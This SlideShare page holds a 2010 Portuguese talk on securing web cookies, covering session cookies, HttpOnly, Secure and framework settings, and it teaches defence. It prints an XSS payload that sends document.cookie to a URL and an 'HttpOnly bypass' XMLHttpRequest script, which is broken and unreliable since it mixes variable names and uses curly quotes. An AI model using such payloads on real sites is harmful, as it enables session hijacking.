SlideShare uma empresa Scribd logo
1 de 29
Baixar para ler offline
Rodolfo Stangherlin




Desenvolvimento web seguro:
          cookies



   Tchelinux 2010 - Caxias do Sul
Sumário




 Apresentação
 HTTP é stateless  - e daí?
 Riscos
 Explorando com Javascript
 Httponly - Risco minimizado
 Secure - Só HTTPS
 Conclusão
Apresentação


Rodolfo Stangherlin
      Técnico em Desenvolvimento de Sistemas - CETEC
      Bacharelando em Ciência da Computação na UCS
      Trabalha em informática desde 2005
          sobreviveu à suporte Linux/FreeBSD
          desenvolveu alguma coisa em PHP
          trabalha atualmente com Python/Django
      atualmente desenvolvedor Python/Django no NPDU
      (UCS)
HTTP é stateless  - e daí?

HTTP (Hypertext Transfer Protocol) é um protocolo da camada
de aplicação do modelo OSI.

Dizer que o protocolo é Stateless significa que a conexão não
é mantida:
HTTP é stateless - e daí?




                       Fonte: http://wagnerelias.com
HTTP é stateless - e daí?
Cookies são enviados para identificar quem está enviando
a requisição
HTTP é stateless - e daí?
Cookies são enviados para
identificar quem está
fazendo a requisição


Isso é feito através de
HEADERS
HTTP é stateless - e daí?
Resposta criando um cookie:
 
HTTP/1.0 200 OK
Date: Thu, 17 Jun 2010 03:22:07 GMT
Server: WSGIServer/0.1 Python/2.5.5
Vary: Cookie
Content-Type: text/html; charset=utf-8
Set-Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570;
expires=Thu, 01-Jul-2010 03:22:07 GMT; Max-Age=1209600;
Path=/ 
HTTP é stateless - e daí?
Requisição com o cookie já indentificado:
 
GET /capa/ HTTP/1.1
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570
Riscos




  sequestro de sessão
  furto de dados
  problemas de autenticação
  ...
Riscos
Explorando com Javascript




<script language="javascript"
        type="text/javascript">

 document.location='/false/?cks=' + document.cookie;
</script>
Explorando com Javascript

/false/
pode ser qualquer URL, que receberia os cookies que
identificam a sessão (como o SESSION_ID ou PHPSESSID)


document.cookie
Propriedade que contém todos os cookies da
página:

"csrftoken=8fb73324ffff93d9e2eed7e1d5184b6a;
sessionid=d6efaa3ee92a9ac89ec0f0b4763cc248"
pq é necessário acessar o
  cookie de sessão via
       javascript?
não é necessário!
Httponly - Risco amenizado

Adicionando a flag "httponly" na resposta do servidor, o
navegador bloqueará acesso ao cookie via javascript:


HTTP/1.0 200 OK
Date: Thu, 17 Jun 2010 03:27:51 GMT
Server: WSGIServer/0.1 Python/2.6.5+
Content-Type: text/html; charset=utf-8
Set-Cookie: csrftoken=e0957542e6b3b25785a3d08ded669f8;
Max-Age=31449600; Path=/
Set-Cookie: sessionid=903da9d05cdf07e7bea5c0e8d725ea0f;
expires=Thu, 01-Jul-2010 03:27:50 GMT; httponly; Max-
Age=1209600; Path=/
Httponly - Risco amenizado



Então, com javascript:


document.cookie

"csrftoken=e0957542e6b3b25785a3d08ded669f8"
Httponly - Risco minimizado




risco eliminado? Não
 
Usando Ajax (XMLHttpRequest), o cookie é passado e pode ser
recuperado, mas é muito mais complexo
Httponly - Risco minimizado
burlando o HttpOnly
var doc;
try { doc = new XMLHttpRequest(); } catch(e) {}
if (!req) try { doc = new ActiveXObject(“Msxml2.XMLHTTP”); } catch(e) {}
if (!req) try { doc = new ActiveXObject(“Microsoft.XMLHTTP”); } catch(e) {}
doc.open(“HEAD”, document.location, true);
doc.send(null);
doc.onreadystatechange=function() {
if(doc.readyState==4) {
 if(doc.status==200) {
  var hidden=”";
  var headers=doc.getAllResponseHeaders().split(” “);
  for(i=0;i<headers.length;i++) {
   var off1 = headers[i].indexOf(” “)+1;
   var off2 = headers[i].indexOf(“;”)+1;
   var cookie=headers[i].substring(off1, off2);
   hidden=hidden+cookie+” “;
  }
 }
 alert(“httpOnly cookie: “+hidden);
}
}
Httponly - Risco minimizado

pq não é assim por default?
 
HttpOnly não é padrão Web
    não está na RFC 2109 - HTTP State Management
    Mechanism)
 
criado pela Microsoft no IE6
    hoje compatível com navegadores mais populares
       Mozilla Firefox (a partir da versão 3.0)
       Opera (a partir da versão 9.5)
       Google Chrome (desde a versão beta)
       Safari (desde versão 4)
Httponly - Risco minimizado

Django (Python)
   suporte apenas via middleware, fora do código "oficial",
   pois segue os padrões
 
Rails (Ruby)
   HttpOnly ativado por default
 
PHP
   configurável através do php.ini desde a versão 5.2.0
       session.cookie_httponly = True
   setar cookie usando "header()"
   usar parâmentro "http_only=True" na função setcookie

           http://br.php.net/manual/en/function.setcookie.
Httponly - Risco minimizado
Dia 18/06, o site f-secure.com publicou um ataque de XSS:
Httponly - Risco minimizado
Passando o código javascript pela URL, ele era executado ao
acessar a página...
Secure - Só HTTPS

Indica para o navegador enviar o cookie apenas em conexões
seguras (HTTPS)
 
HTTP/1.0 200 OK
Date: Thu, 17 Jun 2010 03:46:30 GMT
Server: Apache mod_wsgi/3.1 Python/2.6.4
Expires: Thu, 17 Jun 2010 03:46:30 GMT
Vary: Cookie,Accept-Encoding
Last-Modified: Thu, 17 Jun 2010 03:46:30 GMT
Set-Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8;
httponly; Path=/; secure
Secure - Só HTTPS
https://ucsvirtual.ucs.br/capa/

GET /capa/ HTTP/1.1
Host: ucsvirtual.ucs.br
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:
1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4)
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,*/*;q=0.8
Accept-Language: pt-br,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8
Secure - Só HTTPS

http://www.ucs.br/site
 
GET /site HTTP/1.1
Host: www.ucs.br
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:
1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4)
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,*/*;q=0.8
Accept-Language: pt-br,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Conclusão



     Na maioria das vezes, o acesso ao cookie de
       sessão nunca é utilizado via javascript.
                            

       Talvez por causa disso as pessoas nunca
        lembrem que isso pode significar uma
                   vulnerabilidade
Conclusão



      Apenas HttpOnly + Secure não é suficiente.
                             
                             
    O ideal é nunca permitir javascript seja exibido
                           ;)
       Django o faz por default
       PHP pode usar função strip_tags
Obrigado!
                    
         Rodolfo Stangherlin

              @rodolfo_3
         rodolfo.3@gmail.com
http://ratosdelaboratorio.blogspot.com

Mais conteúdo relacionado

Mais procurados

XSS Desvendado
XSS DesvendadoXSS Desvendado
XSS Desvendadoricardophp
 
Website security
Website securityWebsite security
Website securitythiagosenac
 
iMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPressiMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPressErick Belluci Tedeschi
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasRafael Jaques
 
Segurança no desenvolvimento web
Segurança no desenvolvimento webSegurança no desenvolvimento web
Segurança no desenvolvimento webRafael Monteiro
 
Comet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - ResumoComet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - ResumoHanderson Frota
 
Como retirar o site hao123 da página inicial do navegador
Como retirar o site hao123 da página inicial do navegadorComo retirar o site hao123 da página inicial do navegador
Como retirar o site hao123 da página inicial do navegadorKelly Schuvaizerski
 
Bloquear anúncios do AdSense
Bloquear anúncios do AdSenseBloquear anúncios do AdSense
Bloquear anúncios do AdSenseDiego Barbosa
 
Introdução a analise de vulnerabilidades Web
Introdução a analise de vulnerabilidades WebIntrodução a analise de vulnerabilidades Web
Introdução a analise de vulnerabilidades WebTwisting The Truth
 
Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Rafael Jaques
 
Resenha o que é um hacker
Resenha o que é um hackerResenha o que é um hacker
Resenha o que é um hackernilsonsq
 
Hackeando facebook com wireshark e cookie injector
Hackeando facebook com wireshark e cookie injectorHackeando facebook com wireshark e cookie injector
Hackeando facebook com wireshark e cookie injectorAlvaro Gomes
 
Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Luciano Gerhardt
 
Hackeando facebook com wireshark e cookie injector
Hackeando facebook com wireshark e cookie injectorHackeando facebook com wireshark e cookie injector
Hackeando facebook com wireshark e cookie injectorAlvaro Gomes
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSamyr Abdo
 
Bloquear Sites
Bloquear SitesBloquear Sites
Bloquear Sitesjandira
 

Mais procurados (19)

XSS Desvendado
XSS DesvendadoXSS Desvendado
XSS Desvendado
 
Website security
Website securityWebsite security
Website security
 
iMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPressiMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPress
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de Balas
 
Reverse Ajax Dwr
Reverse Ajax DwrReverse Ajax Dwr
Reverse Ajax Dwr
 
Php Nuke
Php NukePhp Nuke
Php Nuke
 
Segurança no desenvolvimento web
Segurança no desenvolvimento webSegurança no desenvolvimento web
Segurança no desenvolvimento web
 
Comet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - ResumoComet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - Resumo
 
Como retirar o site hao123 da página inicial do navegador
Como retirar o site hao123 da página inicial do navegadorComo retirar o site hao123 da página inicial do navegador
Como retirar o site hao123 da página inicial do navegador
 
Bloquear anúncios do AdSense
Bloquear anúncios do AdSenseBloquear anúncios do AdSense
Bloquear anúncios do AdSense
 
Introdução a analise de vulnerabilidades Web
Introdução a analise de vulnerabilidades WebIntrodução a analise de vulnerabilidades Web
Introdução a analise de vulnerabilidades Web
 
PHPMongoDB
PHPMongoDBPHPMongoDB
PHPMongoDB
 
Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010
 
Resenha o que é um hacker
Resenha o que é um hackerResenha o que é um hacker
Resenha o que é um hacker
 
Hackeando facebook com wireshark e cookie injector
Hackeando facebook com wireshark e cookie injectorHackeando facebook com wireshark e cookie injector
Hackeando facebook com wireshark e cookie injector
 
Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)
 
Hackeando facebook com wireshark e cookie injector
Hackeando facebook com wireshark e cookie injectorHackeando facebook com wireshark e cookie injector
Hackeando facebook com wireshark e cookie injector
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
Bloquear Sites
Bloquear SitesBloquear Sites
Bloquear Sites
 

Destaque (6)

Diretório - Hotéis Nacional Inn | Espanhol
Diretório - Hotéis Nacional Inn | EspanholDiretório - Hotéis Nacional Inn | Espanhol
Diretório - Hotéis Nacional Inn | Espanhol
 
Engagement and Future of Work
Engagement and Future of WorkEngagement and Future of Work
Engagement and Future of Work
 
Patronenfilter INFA-MICRON
Patronenfilter INFA-MICRONPatronenfilter INFA-MICRON
Patronenfilter INFA-MICRON
 
Sample Report: Omnichannel Trend in Global B2C E-Commerce and General Retail ...
Sample Report: Omnichannel Trend in Global B2C E-Commerce and General Retail ...Sample Report: Omnichannel Trend in Global B2C E-Commerce and General Retail ...
Sample Report: Omnichannel Trend in Global B2C E-Commerce and General Retail ...
 
Add m3-1-chapter4
Add m3-1-chapter4Add m3-1-chapter4
Add m3-1-chapter4
 
Digiconta Kobra Fotos Detalhe
Digiconta   Kobra Fotos DetalheDigiconta   Kobra Fotos Detalhe
Digiconta Kobra Fotos Detalhe
 

Semelhante a Cookies seguros: HttpOnly e Secure para desenvolvimento web seguro

[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...
[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...
[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...Deep Tech Brasil
 
Aplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWTAplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWTBruno Neves Menezes
 
Segurança de APIs HTTP, um guia sensato para desenvolvedores preocupados
Segurança de APIs HTTP, um guia sensato para desenvolvedores preocupadosSegurança de APIs HTTP, um guia sensato para desenvolvedores preocupados
Segurança de APIs HTTP, um guia sensato para desenvolvedores preocupadosLuis Cipriani
 
Performance web - Como deixar a sua aplicação rápida, fazendo seus usuári...
Performance web - Como deixar a sua aplicação rápida, fazendo seus usuári...Performance web - Como deixar a sua aplicação rápida, fazendo seus usuári...
Performance web - Como deixar a sua aplicação rápida, fazendo seus usuári...minastestingconference
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...tdc-globalcode
 
MSDN Webcast - Melhores práticas cross browser
MSDN Webcast - Melhores práticas cross browserMSDN Webcast - Melhores práticas cross browser
MSDN Webcast - Melhores práticas cross browserJP Clementi
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...tdc-globalcode
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Helder da Rocha
 
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...Mauro Risonho de Paula Assumpcao
 
DOMinando JavaScript
DOMinando JavaScriptDOMinando JavaScript
DOMinando JavaScriptThiago Poiani
 
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLIConfigurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLIRafael Funchal
 
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLIConfigurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLIwordcamppoa
 
Rafael Funchal - Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Rafael Funchal - Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLIRafael Funchal - Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Rafael Funchal - Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLIWordPress Floripa
 
Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLI
Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLIConfigurando SSL com Let’s Encrypt, Easy Engine e WP-CLI
Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLIRafael Funchal
 
WordCamp Floripa 2018: Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLI
WordCamp Floripa 2018: Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLIWordCamp Floripa 2018: Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLI
WordCamp Floripa 2018: Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLIRafael Funchal
 
O que há de PHP e Websockets por aí?
O que há de PHP e Websockets por aí?O que há de PHP e Websockets por aí?
O que há de PHP e Websockets por aí?Marianna Cruz Teixeira
 
Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011Bruno Rocha
 

Semelhante a Cookies seguros: HttpOnly e Secure para desenvolvimento web seguro (20)

[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...
[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...
[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...
 
Aplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWTAplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWT
 
Segurança de APIs HTTP, um guia sensato para desenvolvedores preocupados
Segurança de APIs HTTP, um guia sensato para desenvolvedores preocupadosSegurança de APIs HTTP, um guia sensato para desenvolvedores preocupados
Segurança de APIs HTTP, um guia sensato para desenvolvedores preocupados
 
Performance web - Como deixar a sua aplicação rápida, fazendo seus usuári...
Performance web - Como deixar a sua aplicação rápida, fazendo seus usuári...Performance web - Como deixar a sua aplicação rápida, fazendo seus usuári...
Performance web - Como deixar a sua aplicação rápida, fazendo seus usuári...
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
 
"Hacking+PHP"
"Hacking+PHP""Hacking+PHP"
"Hacking+PHP"
 
Segurança em PHP
Segurança em PHPSegurança em PHP
Segurança em PHP
 
MSDN Webcast - Melhores práticas cross browser
MSDN Webcast - Melhores práticas cross browserMSDN Webcast - Melhores práticas cross browser
MSDN Webcast - Melhores práticas cross browser
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7
 
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...
 
DOMinando JavaScript
DOMinando JavaScriptDOMinando JavaScript
DOMinando JavaScript
 
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLIConfigurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
 
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLIConfigurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
 
Rafael Funchal - Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Rafael Funchal - Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLIRafael Funchal - Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
Rafael Funchal - Configurando SSL com Let’s Encrypt, EasyEngine e WP-CLI
 
Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLI
Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLIConfigurando SSL com Let’s Encrypt, Easy Engine e WP-CLI
Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLI
 
WordCamp Floripa 2018: Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLI
WordCamp Floripa 2018: Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLIWordCamp Floripa 2018: Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLI
WordCamp Floripa 2018: Configurando SSL com Let’s Encrypt, Easy Engine e WP-CLI
 
O que há de PHP e Websockets por aí?
O que há de PHP e Websockets por aí?O que há de PHP e Websockets por aí?
O que há de PHP e Websockets por aí?
 
Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011
 
Como funciona a internet
Como funciona a internetComo funciona a internet
Como funciona a internet
 

Mais de Tchelinux

Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...
Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...
Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...Tchelinux
 
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio GrandeInsegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio GrandeTchelinux
 
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...Tchelinux
 
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...Tchelinux
 
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio Grande
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio GrandeMe formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio Grande
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio GrandeTchelinux
 
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...Tchelinux
 
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...Tchelinux
 
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...Tchelinux
 
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...Tchelinux
 
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio Grande
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio GrandeConstruindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio Grande
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio GrandeTchelinux
 
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio Grande
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio GrandeBikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio Grande
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio GrandeTchelinux
 
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...Tchelinux
 
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...Tchelinux
 
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...Tchelinux
 
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019Tchelinux
 
Com que ônibus eu vou? Uma gentil introdução ao Python.
Com que ônibus eu vou? Uma gentil introdução ao Python.Com que ônibus eu vou? Uma gentil introdução ao Python.
Com que ônibus eu vou? Uma gentil introdução ao Python.Tchelinux
 
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.O TCC... um dia ele chega! (The beautiful and easy LaTeX way.
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.Tchelinux
 
Não deixe para testar depois o que você pode testar antes.
Não deixe para testar depois o que você pode testar antes. Não deixe para testar depois o que você pode testar antes.
Não deixe para testar depois o que você pode testar antes. Tchelinux
 
Desenvolvendo jogos com pygame
Desenvolvendo jogos com pygameDesenvolvendo jogos com pygame
Desenvolvendo jogos com pygameTchelinux
 
Essa câmera faz fotos muito boas, né?
Essa câmera faz fotos muito boas, né?Essa câmera faz fotos muito boas, né?
Essa câmera faz fotos muito boas, né?Tchelinux
 

Mais de Tchelinux (20)

Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...
Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...
Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...
 
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio GrandeInsegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
 
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...
 
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...
 
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio Grande
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio GrandeMe formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio Grande
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio Grande
 
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...
 
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...
